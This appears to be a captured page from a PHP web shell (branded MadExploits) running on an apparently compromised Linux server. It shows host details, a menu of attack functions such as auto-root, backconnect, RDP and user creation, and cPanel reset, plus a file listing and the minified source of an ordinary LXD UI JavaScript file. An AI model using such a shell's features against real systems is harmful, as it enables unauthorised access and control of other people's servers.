Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.16.147.165
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
snap /
lxd /
33085 /
share /
lxd-ui /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
font
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
AutoExpandingTextArea-BXFyAEiG...
151
B
-rw-r--r--
BaseLayout-CiF2D8RH.js
280
B
-rw-r--r--
BulkDeleteButton-B-fvVwh0.js
1.08
KB
-rw-r--r--
CancelOperationBtn-BW2TAzI_.js
1.08
KB
-rw-r--r--
CertificateAdd-BGVwf-VB.js
2.84
KB
-rw-r--r--
CertificateGenerate-bNGS6BFl.j...
9.87
KB
-rw-r--r--
ClusterGroupForm-BiXmM-NU.js
3.25
KB
-rw-r--r--
ClusterList-CZFDB46f.js
5.17
KB
-rw-r--r--
ClusterMemberSelector-B2lzDpCI...
3.71
KB
-rw-r--r--
ClusterSpecificInput-BdiLVA9B....
1.97
KB
-rw-r--r--
ClusterSpecificSelect-DrKUzNev...
2.2
KB
-rw-r--r--
ConfigFieldDescription-BnRkdbo...
335
B
-rw-r--r--
CreateClusterGroup-C6s3qbZf.js
463
B
-rw-r--r--
CreateInstance-BXX4Xa4W.js
27.97
KB
-rw-r--r--
CreateInstanceFromImageBtn-BiE...
527
B
-rw-r--r--
CreateNetwork-BQw2A27w.js
2.88
KB
-rw-r--r--
CreateNetworkForward-BgZF8duA....
1.71
KB
-rw-r--r--
CreateProfile-CCJYKSCK.js
4.04
KB
-rw-r--r--
CreateProject-DTBqJzUb.js
2.83
KB
-rw-r--r--
CreateStoragePool-CuOutvs3.js
2.46
KB
-rw-r--r--
CreateStorageVolume-B0HvyGnH.j...
2.47
KB
-rw-r--r--
CustomIsoList-CQVv4whx.js
5.48
KB
-rw-r--r--
DeleteStoragePoolBtn-BeXLuEnA....
1.62
KB
-rw-r--r--
DeleteStorageVolumeBtn-DIIVYGa...
1.88
KB
-rw-r--r--
DiskSizeSelector-IT5APek6.js
1010
B
-rw-r--r--
EditClusterGroup-DiNIL0Lx.js
761
B
-rw-r--r--
EditNetworkForward-DtcWepYC.js
1.99
KB
-rw-r--r--
ExpandableList-EDeaeb6c.js
323
B
-rw-r--r--
FormEditButton-Cs2eW7Js.js
278
B
-rw-r--r--
FormFooterLayout-B3kcadYt.js
738
B
-rw-r--r--
FormLink-BaU-zsbe.js
879
B
-rw-r--r--
FormMenuItem-ChXfQsFA.js
2.23
MB
-rw-r--r--
FormMenuItem-DyX1CsEw.css
66.66
KB
-rw-r--r--
GroupOrIdentityChangesTable-DQ...
5.11
KB
-rw-r--r--
GroupSelectionActions-Dq47oQd-...
3.18
KB
-rw-r--r--
HelpLink-4LTOsqZO.js
294
B
-rw-r--r--
ImageList-yKBGTFZU.js
11.7
KB
-rw-r--r--
InstanceDetail-BV9hr65t.js
481.49
KB
-rw-r--r--
InstanceDetail-Beg8tuEN.css
3.88
KB
-rw-r--r--
InstanceLinkChip-DfVC8U01.js
4.24
KB
-rw-r--r--
InstanceList-CTEYE5e7.js
24.67
KB
-rw-r--r--
ItemName-DSOx0T0r.js
185
B
-rw-r--r--
Login-CsUYa7ns.js
1.41
KB
-rw-r--r--
Meter-BsdJ73XW.js
487
B
-rw-r--r--
NetworkDetail-RgSS_6Vw.js
12.8
KB
-rw-r--r--
NetworkForwardForm-C18aehvo.js
6.49
KB
-rw-r--r--
NetworkList-B4gWmGGm.js
6.32
KB
-rw-r--r--
NetworkListTable-Ba2LzF-J.js
3.31
KB
-rw-r--r--
NotificationRow-CotZPNAQ.js
157
B
-rw-r--r--
OperationList-D4--05cO.js
3.35
KB
-rw-r--r--
PageHeader-CExPjRLH.js
549
B
-rw-r--r--
PermissionGroups-CkGxgQmn.js
30.89
KB
-rw-r--r--
PermissionIdentities-DDmb7V-C....
12.93
KB
-rw-r--r--
PermissionIdpGroups-yggiVbcG.j...
13.38
KB
-rw-r--r--
ProfileDetail-CQHhNWwW.js
10.94
KB
-rw-r--r--
ProfileDetailsForm-C-rMcUGO.js
2.45
KB
-rw-r--r--
ProfileInstances-DeravO8Q.js
1.46
KB
-rw-r--r--
ProfileList-C7yC3g6E.js
7.11
KB
-rw-r--r--
ProgressBar-CQ2HKUqQ.js
170
B
-rw-r--r--
ProjectConfiguration-rKP8dZtz....
9.04
KB
-rw-r--r--
ProjectForm-GhClr0iv.js
15.12
KB
-rw-r--r--
ProtectedRoute-DYKGChU3.js
214
B
-rw-r--r--
ProxyDeviceForm-B5UDgi1V.js
38.9
KB
-rw-r--r--
RenameHeader-fmgiouA6.js
13.29
KB
-rw-r--r--
ResourceIcon-DZQOrBLA.js
532
B
-rw-r--r--
ResourceLabel-PzB_6v5p.js
317
B
-rw-r--r--
ResourceLink-CS7mH0C3.js
302
B
-rw-r--r--
ScrollableContainer-MJpEXCww.j...
646
B
-rw-r--r--
ScrollableTable-DWT33Lms.js
561
B
-rw-r--r--
SelectableMainTable-C8l8QdDe.j...
2.21
KB
-rw-r--r--
SelectedTableNotification-2DZb...
974
B
-rw-r--r--
Settings-BYi8qROs.js
9.75
KB
-rw-r--r--
SidePanel-DNeaRMst.js
2.84
KB
-rw-r--r--
SnapshotForm-DF9sGEzn.js
1.49
KB
-rw-r--r--
StoragePoolDetail-DT58PBIr.js
6.45
KB
-rw-r--r--
StoragePoolForm-Z62B6Fuh.js
17.07
KB
-rw-r--r--
StoragePoolSelectTable-CXuxJSN...
1.61
KB
-rw-r--r--
StoragePoolSelector-DEvMjaMu.j...
1.48
KB
-rw-r--r--
StoragePoolSize-DyBNKBKy.js
467
B
-rw-r--r--
StoragePools-DK0Gkjq9.js
3.99
KB
-rw-r--r--
StorageUsedBy-sdKGRlgM.js
2.12
KB
-rw-r--r--
StorageVolumeDetail-fQzbPWNW.j...
24.87
KB
-rw-r--r--
StorageVolumeForm-ZPfwK39D.js
8.42
KB
-rw-r--r--
StorageVolumes-DPotlIN6.js
7.26
KB
-rw-r--r--
StorageVolumesFilter-B7pR3OeF....
1.01
KB
-rw-r--r--
TabLinks-BIG_Rdvk.js
360
B
-rw-r--r--
UploadCustomIso-DG12FhN0.js
2.83
KB
-rw-r--r--
UsedByItem-VHA3kVFG.js
945
B
-rw-r--r--
VolumeAddSnapshotBtn-8Qz9xFE-....
4.87
KB
-rw-r--r--
WarningList-DZNTQSpg.js
1.99
KB
-rw-r--r--
YamlNotification-BnmI52ws.js
634
B
-rw-r--r--
YamlSwitch-BXLuxWUh.js
40.62
KB
-rw-r--r--
certificate-kcThcTS9.js
279.99
KB
-rw-r--r--
clusterGroups-BWQNdGSD.js
3.63
KB
-rw-r--r--
images-Du2fhDUO.js
1.22
KB
-rw-r--r--
index-BeIaaTgz.css
661.94
KB
-rw-r--r--
index-BkTFFYvy.js
690.52
KB
-rw-r--r--
index-DW_MHI2K.js
34.19
KB
-rw-r--r--
index.esm-auJ3G_FM.js
38.36
KB
-rw-r--r--
instanceDelete-Bn3xn_NE.js
12.2
KB
-rw-r--r--
instanceOptions-BuFjjn-P.js
1.19
KB
-rw-r--r--
network-forwards-B-h1Yzp9.js
856
B
-rw-r--r--
operations-DIvBacJG.js
757
B
-rw-r--r--
projects-CvA2zMPN.js
789
B
-rw-r--r--
scroll-DPmbgfny.js
26.97
KB
-rw-r--r--
searchAndFilter-DtC_P-vv.js
361
B
-rw-r--r--
snapshots-CEDJtMaf.js
670
B
-rw-r--r--
storage-volumes-tfXkh9eB.js
2.46
KB
-rw-r--r--
useGroups-CCX3qCzO.js
2.91
KB
-rw-r--r--
useImages-LgCYWVgs.js
1.64
KB
-rw-r--r--
useNetworks-D3nHf8AE.js
3.63
KB
-rw-r--r--
useSmallScreen-BvsjT919.js
169
B
-rw-r--r--
useSortTableData-BoXaK1oA.js
393
B
-rw-r--r--
useVolumes-BvpfNVaA.js
1.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PermissionIdpGroups-yggiVbcG.js
import{v as k,ca as le,aA as de,b as U,a4 as V,l as q,d as l,k as M,r as v,M as ue,j as e,q as F,a5 as C,c as X,g as ce,n as pe,p as me,ay as ge,L as he,C as fe,e as ye}from"./index-BkTFFYvy.js";import{S as xe}from"./ScrollableTable-DWT33Lms.js";import{S as Ie}from"./SelectableMainTable-C8l8QdDe.js";import{S as be}from"./SelectedTableNotification-2DZbBMZx.js";import{u as je}from"./useSortTableData-BoXaK1oA.js";import{u as H,S as P,p as J}from"./SidePanel-DNeaRMst.js";import{P as T}from"./PageHeader-CExPjRLH.js";import{N as z}from"./NotificationRow-CotZPNAQ.js";import{H as Se}from"./HelpLink-4LTOsqZO.js";import{u as W,a as Z,P as Pe}from"./useGroups-CCX3qCzO.js";import{c as ee,a as te}from"./index.esm-auJ3G_FM.js";import{R as De}from"./ResourceLabel-PzB_6v5p.js";import{G as se,a as ne}from"./GroupSelectionActions-Dq47oQd-.js";import{R as oe}from"./ResourceLink-CS7mH0C3.js";import{B as Ne}from"./BulkDeleteButton-B-fvVwh0.js";import"./ResourceIcon-DZQOrBLA.js";import"./ScrollableContainer-MJpEXCww.js";const ve=["can_delete","can_edit"],we=async t=>{const n=de(t,ve);return new Promise((o,a)=>{fetch(`/1.0/auth/identity-provider-groups?recursion=1${n}`).then(k).then(c=>{o(c.metadata)}).catch(a)})},Ge=async t=>new Promise((n,o)=>{fetch("/1.0/auth/identity-provider-groups",{method:"POST",body:JSON.stringify({name:t.name,groups:t.groups})}).then(k).then(n).catch(o)}),Ce=async t=>new Promise((n,o)=>{fetch(`/1.0/auth/identity-provider-groups/${t.name}`,{method:"PUT",body:JSON.stringify(t)}).then(k).then(n).catch(o)}),Ee=async(t,n)=>new Promise((o,a)=>{fetch(`/1.0/auth/identity-provider-groups/${t}`,{method:"POST",body:JSON.stringify({name:n})}).then(k).then(o).catch(a)}),Ae=async t=>new Promise((n,o)=>{fetch(`/1.0/auth/identity-provider-groups/${t}`,{method:"DELETE"}).then(k).then(n).catch(o)}),Le=async t=>new Promise((n,o)=>{Promise.allSettled(t.map(async a=>Ae(a))).then(le).then(n).catch(o)}),O=()=>{const{isFineGrained:t}=U();return{canDeleteIdpGroup:a=>V(t,"can_delete",a==null?void 0:a.access_entitlements),canEditIdpGroup:a=>V(t,"can_edit",a==null?void 0:a.access_entitlements)}},ae=(t,n)=>["deduplicate","A identity provider group with this name already exists",async o=>n&&o===n||ue(o,"",t,"auth/identity-provider-groups")],re=t=>{const n=q(),o=l.useNotify(),a=M(),[c,i]=v.useState(!1),{canDeleteIdpGroup:S}=O(),x=[],r=[];t.forEach(p=>{S(p)?r.push(p):x.push(p)});const I=r.length===1;return{deleteIdpGroups:()=>{i(!0);const p=I?e.jsxs(e.Fragment,{children:["IDP group"," ",e.jsx(De,{bold:!0,type:"idp-group",value:r[0].name})," ","deleted."]}):`${r.length} IDP groups deleted.`;Le(r.map(f=>f.name)).then(()=>{n.invalidateQueries({queryKey:[F.idpGroups]}),a.success(p)}).catch(f=>{o.failure(`${C("IDP group",r.length)} deletion failed`,f)}).finally(()=>{i(!1)})},isDeleting:c,restrictedIdpGroups:x,deletableIdpGroups:r}},ie=({formik:t})=>e.jsxs(l.Form,{onSubmit:t.handleSubmit,children:[e.jsx(l.Input,{type:"submit",hidden:!0,value:"Hidden input"}),e.jsx(l.Input,{type:"text",label:"Name",required:!0,autoFocus:!0,id:"name",name:"name",onBlur:t.handleBlur,onChange:t.handleChange,value:t.values.name,error:t.touched.name?t.errors.name:null,placeholder:"Enter name"})]}),Te=()=>{const t=H(),n=l.useNotify(),o=M(),a=q(),c=v.useState(null),{data:i=[],error:S,isLoading:x}=W(),{desiredState:r,save:I,undo:h}=Z({initialState:{groupsAdded:new Set}});S&&n.failure("Loading panel details failed",S);const p=(m,g)=>{I(g?{groupsAdded:new Set}:{groupsAdded:new Set(m)})},f=()=>{t.clear(),n.clear()},b=m=>{const g={name:m.name,groups:Array.from(r.groupsAdded)};u.setSubmitting(!0),Ge(g).then(()=>{o.success(e.jsxs(e.Fragment,{children:["IDP group"," ",e.jsx(oe,{type:"idp-group",value:m.name,to:"/ui/permissions/idp-groups"})," ","created."]})),a.invalidateQueries({queryKey:[F.idpGroups]}),f()}).catch(w=>{n.failure("IDP group creation failed",w)}).finally(()=>{u.setSubmitting(!1)})},E=ee().shape({name:te().test(...ae(c)).required("IDP group name is required")}),u=X({initialValues:{name:""},validationSchema:E,onSubmit:b});return e.jsx(e.Fragment,{children:e.jsxs(P,{isOverlay:!0,loading:x,hasError:!i,children:[e.jsx(P.Header,{children:e.jsx(P.HeaderTitle,{children:"Create IDP group"})}),e.jsx(z,{className:"u-no-padding"}),e.jsx(ie,{formik:u}),e.jsx("p",{children:"Map groups to this idp group"}),e.jsx(P.Content,{className:"u-no-padding",children:e.jsx(se,{groups:i,modifiedGroups:r.groupsAdded,parentItemName:"",selectedGroups:r.groupsAdded,setSelectedGroups:p,toggleGroup:m=>{const g=new Set([...r.groupsAdded]);g.has(m)?g.delete(m):g.add(m),p([...g],g.size===0)},scrollDependencies:[i,r.groupsAdded.size,n.notification,u]})}),e.jsx(P.Footer,{className:"u-align--right",children:e.jsx(ne,{modifiedGroups:r.groupsAdded,undoChange:h,closePanel:f,onSubmit:()=>void u.submitForm(),actionText:"mapped",loading:u.isSubmitting,disabled:!u.isValid||!u.values.name&&!r.groupsAdded.size&&!u.touched.name})})]})})},ke=({idpGroups:t})=>{const{deletableIdpGroups:n,restrictedIdpGroups:o,deleteIdpGroups:a}=re(t),c=()=>{if(o.length)return[`${n.length} ${C("IDP group",n.length)} will be deleted.`,`${o.length} ${C("IDP group",o.length)} that you do not have permission to delete will be ignored.`]};return e.jsx(Ne,{entities:t,deletableEntities:n,entityType:"IDP group",onDelete:a,disabledReason:n.length?void 0:`You do not have permission to delete the selected ${C("idp group",t.length)}`,className:"u-no-margin--bottom",buttonLabel:`Delete ${t.length} ${C("IDP group",t.length)}`,bulkDeleteBreakdown:c()})},$e=({idpGroup:t,onClose:n})=>{const o=H(),a=l.useNotify(),c=M(),i=q(),S=v.useState(null),{data:x=[],error:r,isLoading:I}=W(),{desiredState:h,save:p,undo:f}=Z({initialState:{groupsAdded:new Set,groupsRemoved:new Set}});r&&a.failure("Loading panel details failed",r);const b=new Set(h.groupsAdded);for(const s of t.groups)h.groupsRemoved.has(s)||b.add(s);const E=()=>{const s=new Set;for(const d of t.groups)b.has(d)||s.add(d);for(const d of x)!t.groups.includes(d.name)&&b.has(d.name)&&s.add(d.name);return s},u=(s,d)=>{p(d?{groupsAdded:new Set,groupsRemoved:new Set(x.map(y=>y.name))}:{groupsAdded:new Set(s),groupsRemoved:new Set})},m=s=>{const d=b.has(s),y=new Set(h.groupsAdded),G=new Set(h.groupsRemoved);d?(y.delete(s),G.add(s)):(y.add(s),G.delete(s)),p({groupsAdded:y,groupsRemoved:G})},g=()=>{o.clear(),a.clear(),n==null||n()},w=s=>{const d=new Set(t.groups);for(const N of h.groupsAdded)d.add(N);for(const N of h.groupsRemoved)d.delete(N);let y=Ce({...t,groups:Array.from(d)});t.name!==s.name&&(y=y.then(async()=>Ee((t==null?void 0:t.name)??"",s.name))),j.setSubmitting(!0),y.then(()=>{c.success(e.jsxs(e.Fragment,{children:["IDP group"," ",e.jsx(oe,{type:"idp-group",value:s.name,to:"/ui/permissions/idp-groups"})," ","updated."]})),i.invalidateQueries({queryKey:[F.idpGroups]}),g()}).catch(N=>{a.failure("IDP group update failed",N)}).finally(()=>{j.setSubmitting(!1)})},R=ee().shape({name:te().test(...ae(S,o.idpGroup??"")).required("IDP group name is required")}),j=X({initialValues:{name:(t==null?void 0:t.name)??""},enableReinitialize:!0,validationSchema:R,onSubmit:w}),D=E(),A=!!j.touched.name,L=j.isValid&&j.values.name,B=!!D.size,$=A&&L||L&&B;return e.jsx(e.Fragment,{children:e.jsxs(P,{isOverlay:!0,loading:I,hasError:!x,onClose:n,children:[e.jsx(P.Header,{children:e.jsx(P.HeaderTitle,{children:`Edit IDP group ${t==null?void 0:t.name}`})}),e.jsx(z,{className:"u-no-padding"}),e.jsx(ie,{formik:j}),e.jsx("p",{children:"Map groups to this idp group"}),e.jsx(P.Content,{className:"u-no-padding",children:e.jsx(se,{groups:x,modifiedGroups:D,parentItemName:"IDP group",parentItems:[t],selectedGroups:b,setSelectedGroups:u,toggleGroup:m,scrollDependencies:[x,D.size,a.notification,j]})}),e.jsx(P.Footer,{className:"u-align--right",children:e.jsx(ne,{modifiedGroups:D,undoChange:f,closePanel:g,onSubmit:()=>void j.submitForm(),loading:j.isSubmitting,disabled:!$})})]})})},Fe=({idpGroup:t})=>{var i;const{canDeleteIdpGroup:n}=O(),{isDeleting:o,deletableIdpGroups:a,deleteIdpGroups:c}=re([t]);return e.jsx(l.ConfirmationButton,{onHoverText:n(t)?"Delete IDP group":"You do not have permission to delete this IDP group",appearance:"base",className:"has-icon is-dense","aria-label":"Delete IDP group",type:"button",disabled:!n(t),shiftClickEnabled:!0,showShiftClickHint:!0,confirmationModalProps:{title:"Confirm IDP group deletion",confirmButtonLabel:"Delete",confirmButtonLoading:o,onConfirm:c,className:"permission-confirm-modal",children:e.jsxs("p",{children:["Are you sure you want to delete"," ",e.jsx("strong",{children:(i=a[0])==null?void 0:i.name}),"? This action is permanent and can not be undone."]})},children:e.jsx(l.Icon,{name:"delete"})})},Re=()=>{const{isFineGrained:t}=U();return ce({queryKey:[F.idpGroups],queryFn:async()=>we(t),enabled:t!==null})},tt=()=>{var $;const t=l.useNotify(),{data:n=[],error:o,isLoading:a}=Re(),c=pe(),i=H(),[S,x]=v.useState(""),[r,I]=v.useState([]),{data:h}=me(),p=($=h==null?void 0:h.config)==null?void 0:$["oidc.groups.claim"],{canCreateIdpGroups:f}=ge(),{canEditIdpGroup:b}=O();o&&t.failure("Loading provider groups failed",o),v.useEffect(()=>{const s=r.filter(d=>n.some(y=>y.name===d));s.length!==r.length&&I(s)},[n]),v.useEffect(()=>{i.idpGroup&&I([i.idpGroup])},[i.idpGroup]);const E=[{content:"Name",className:"name",sortKey:"name"},{content:"Mapped groups",sortKey:"groups",className:"u-align--right"},{"aria-label":"Actions",className:"u-align--right actions"}],u=n.filter(s=>!S||s.name.toLowerCase().includes(S)),m=n.filter(s=>r.includes(s.name)),g=u.map(s=>{const d=()=>{var K,_,Q,Y;if(b(s))return e.jsx(l.Button,{appearance:"link",dense:!0,onClick:()=>{i.openEditIdpGroup(s.name)},children:s.groups.length});const y=C("group",((K=s.groups)==null?void 0:K.length)??0),G=(_=s.groups)==null?void 0:_.join(` - `),N=`Assigned ${y}: - ${G}`;return e.jsx("div",{title:(Q=s.groups)!=null&&Q.length?N:"",children:((Y=s.groups)==null?void 0:Y.length)||0})};return{key:s.name,name:s.name,className:"u-row",columns:[{content:s.name,role:"cell","aria-label":"Name",className:"u-truncate",title:s.name},{content:d(),role:"cell",className:"u-align--right","aria-label":"Number of mapped groups"},{className:"actions u-align--right",content:e.jsx(l.List,{inline:!0,className:"u-no-margin--bottom actions-list",items:[e.jsx(l.Button,{appearance:"base",hasIcon:!0,dense:!0,onClick:()=>{i.openEditIdpGroup(s.name)},type:"button","aria-label":"Edit IDP group details",title:b(s)?"Edit details":"You do not have permission to modify this IDP group",disabled:!b(s),children:e.jsx(l.Icon,{name:"edit"})},`edit-${s.name}`),e.jsx(Fe,{idpGroup:s},`delete-${s.name}`)]}),role:"cell","aria-label":"Actions"}],sortData:{name:s.name.toLowerCase(),groups:s.groups.length}}}),{rows:w,updateSort:R}=je({rows:g});if(a)return e.jsx(he,{text:"Loading identity provider groups"});const j=()=>{if(r.length>0)return e.jsx(be,{totalCount:n.length??0,itemName:"IDP group",parentName:"",selectedNames:r,setSelectedNames:I,filteredNames:u.map(s=>s.name),hideActions:!!i.panel})},D=n.length>0,A=D?"u-text--muted u-no-max-width":"",L=e.jsxs(e.Fragment,{children:[e.jsx("p",{className:A,children:"Identity provider groups map authentication entities from your identity provider to groups within LXD."}),p?"":e.jsxs("p",{className:A,children:["You need to set your server"," ",e.jsxs(ye,{to:"/ui/settings",children:["configuration (",e.jsx("code",{children:"oidc.groups.claim"}),")"]})," ","to the name of the custom claim that provides the IDP groups."]}),e.jsx("p",{className:A,children:e.jsxs("a",{href:`${c}/explanation/authorization/#use-groups-defined-by-the-identity-provider`,target:"_blank",rel:"noopener noreferrer",children:["Learn more about IDP groups",e.jsx(l.Icon,{className:"external-link-icon",name:"external-link"})]})})]}),B=D?e.jsxs(e.Fragment,{children:[e.jsx(l.Card,{children:L}),e.jsx(xe,{dependencies:[n],tableId:"idp-groups-table",belowIds:["status-bar"],children:e.jsx(l.TablePagination,{data:w,id:"pagination",itemName:"IDP group",className:"u-no-margin--top","aria-label":"Table pagination control",description:j(),children:e.jsx(Ie,{id:"idp-groups-table",headers:E,rows:w,sortable:!0,emptyStateMsg:"No identity provider groups found matching this search",onUpdateSort:R,itemName:"IDP group",parentName:"",selectedNames:r,setSelectedNames:I,disabledNames:[],filteredNames:u.map(s=>s.name),disableSelect:!!i.panel})})})]}):e.jsxs(l.EmptyState,{className:"empty-state",image:e.jsx(l.Icon,{name:"user-group",className:"empty-state-icon"}),title:"No IDP group mappings",children:[L,e.jsx(l.Button,{className:"empty-state-button",appearance:"positive",onClick:i.openCreateIdpGroup,disabled:!f(),title:f()?"":"You do not have permission to create IDP groups",children:"Create IDP group"})]});return e.jsxs(e.Fragment,{children:[e.jsxs(fe,{contentClassName:"u-no-padding--bottom",header:e.jsxs(T,{children:[e.jsxs(T.Left,{children:[e.jsx(T.Title,{children:e.jsx(Se,{href:`${c}/explanation/authorization`,title:"Learn more about permissions",children:"Identity provider groups"})}),!r.length&&D?e.jsx(T.Search,{children:e.jsx(Pe,{onChange:x,value:S,disabled:!!i.idpGroup})}):null,r.length>0&&!i.panel&&e.jsx(e.Fragment,{children:e.jsx(ke,{idpGroups:m})})]}),D&&e.jsx(T.BaseActions,{children:!r.length&&e.jsx(l.Button,{appearance:"positive",className:"u-no-margin--bottom u-float-right",onClick:i.openCreateIdpGroup,disabled:!f(),title:f()?"":"You do not have permission to create IDP groups",children:"Create IDP group"})})]}),children:[!i.panel&&e.jsx(z,{}),e.jsx(l.Row,{children:B})]}),i.panel===J.createIdpGroup&&e.jsx(Te,{}),i.panel===J.editIdpGroup&&m.length&&e.jsx($e,{idpGroup:m[0],onClose:()=>{I([])}})]})};export{tt as default};
Close